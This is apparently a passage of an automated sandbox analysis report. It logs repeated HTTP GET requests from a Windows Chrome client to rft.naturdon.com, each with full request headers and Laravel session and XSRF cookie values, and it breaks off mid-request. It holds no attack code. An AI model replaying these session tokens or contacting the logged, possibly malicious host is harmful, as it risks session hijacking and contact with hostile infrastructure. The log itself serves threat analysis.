XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /mnNnvbueihu6r9rho0oBMMCuvwTXQG8kyViZolZYXb7n90148 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /klw0MWVCCCfjzbu3qhSfOHiFVdyzK5NKZ1JyeafAXi3Uv56163 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /bcq9PU8gOPhcXwMY3MInh6fvEUmeuYy6piCOF8yFeQiPDLM9K1gBC8tqCxo1E3M7mo5dhDusdL8AxbH85jh54EklZYN7HwkIQvYMfgnz2npRrtDzVuxT18G34BaLy44aLJOl45wa5Pcd670 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /hdR3RVnCUAtVMavzxcKzXPgqfTiH5IJFA9u4o1CKfgTzVVMTV8LzeLvB1Esgcgz HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /klfKSUW4h4SIph0P6yrnQG1Nt2rzThqQo2ba6oKozc4I6AiIoptSSBRYnqI0B77dZSxazhbtWBRab221 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /wx1lfn8lc0EFfs4mS49GKwWjftrdGRsTZrs301Ar5RcEFM7ud9hEuB5NWcqnRab176 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /opkmv1QBWy5HuyxZJI5Cg5CDMC4Bj2jXZcl7dzghirqCw8Vp0H6SYkfkWBBVpcX2ef196 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /wxos0x516c9i2j2vcqm7bsDy0fwzHbSopUF4ljm9RfToW7LRFjix12130 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /opVP3rfXGJ5bZgUzKMghOMzgDiUi9yP8TMZ0NrYAZL67140 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /ghSXEQ1jgBW3V9P7wMkvy4klITPIyt6UpoJRIqdxbMFS12207 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /mnNnvbueihu6r9rho0oBMMCuvwTXQG8kyViZolZYXb7n90148 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /wx1lfn8lc0EFfs4mS49GKwWjftrdGRsTZrs301Ar5RcEFM7ud9hEuB5NWcqnRab176 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /klw0MWVCCCfjzbu3qhSfOHiFVdyzK5NKZ1JyeafAXi3Uv56163 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9GcThkNnU4M1hUTUZlNlNyR3JlWnc9PSIsInZhbHVlIjoiQ2VXaEJzRE5jS05YRlJKQVAwK3ExbkNCcm1mVmxWMmlheXJncmhIOXFyWndIc3NQamhpblBwL1V3bW5GTkREcEZKTlorb2w4TmY5a2U1MGV0bGNCOFhvWGVhNXNhR0RpWDZsbHc0eW51S2R2MVg2ajA0eHlNNFhFZTBlNXFYSnUiLCJtYWMiOiJiZTNhNjNkY2VjNTllNzYxODM1NzRiYjFmZmNhYzJhYWJmNDk4OGEwMmM1MDUyZmE0OTU2MTYwMDhlZTEwOWFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJUczVCVDdmTEh6Vll0cmlHUjhHRHc9PSIsInZhbHVlIjoiUjl3WVJ1WFFkZkZQdXJWbFFwd2c3OFNKdktUMHJtM2pQT2tGZ2RITkVnSzcvQThVUE80OGVaaFQ2YTg2V3N5dXRFeFNZR2J1N3JQaFhPTUlsbFFoRXlRS09EeWdzb2dqRzd1TG00d29McEdVNzV1NXpZcU9Kcm1sYVE4b2g1L2YiLCJtYWMiOiI1ZTg5NDI0YmYyYjRjOTgwY2QxNGI3NDI3YjI0MjEwZDYwZWUzNTUzNWE5YzRjYjZkNTZjNmE1ZGZlNjI5MWQ5IiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /op75mQqx1n2Dk3yrHQCNx1pqg7GvFntHLN6ll12AfFPJ5mvcT8IqHATcRSjK27Gmk5jeRX4bkoQvcd237 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 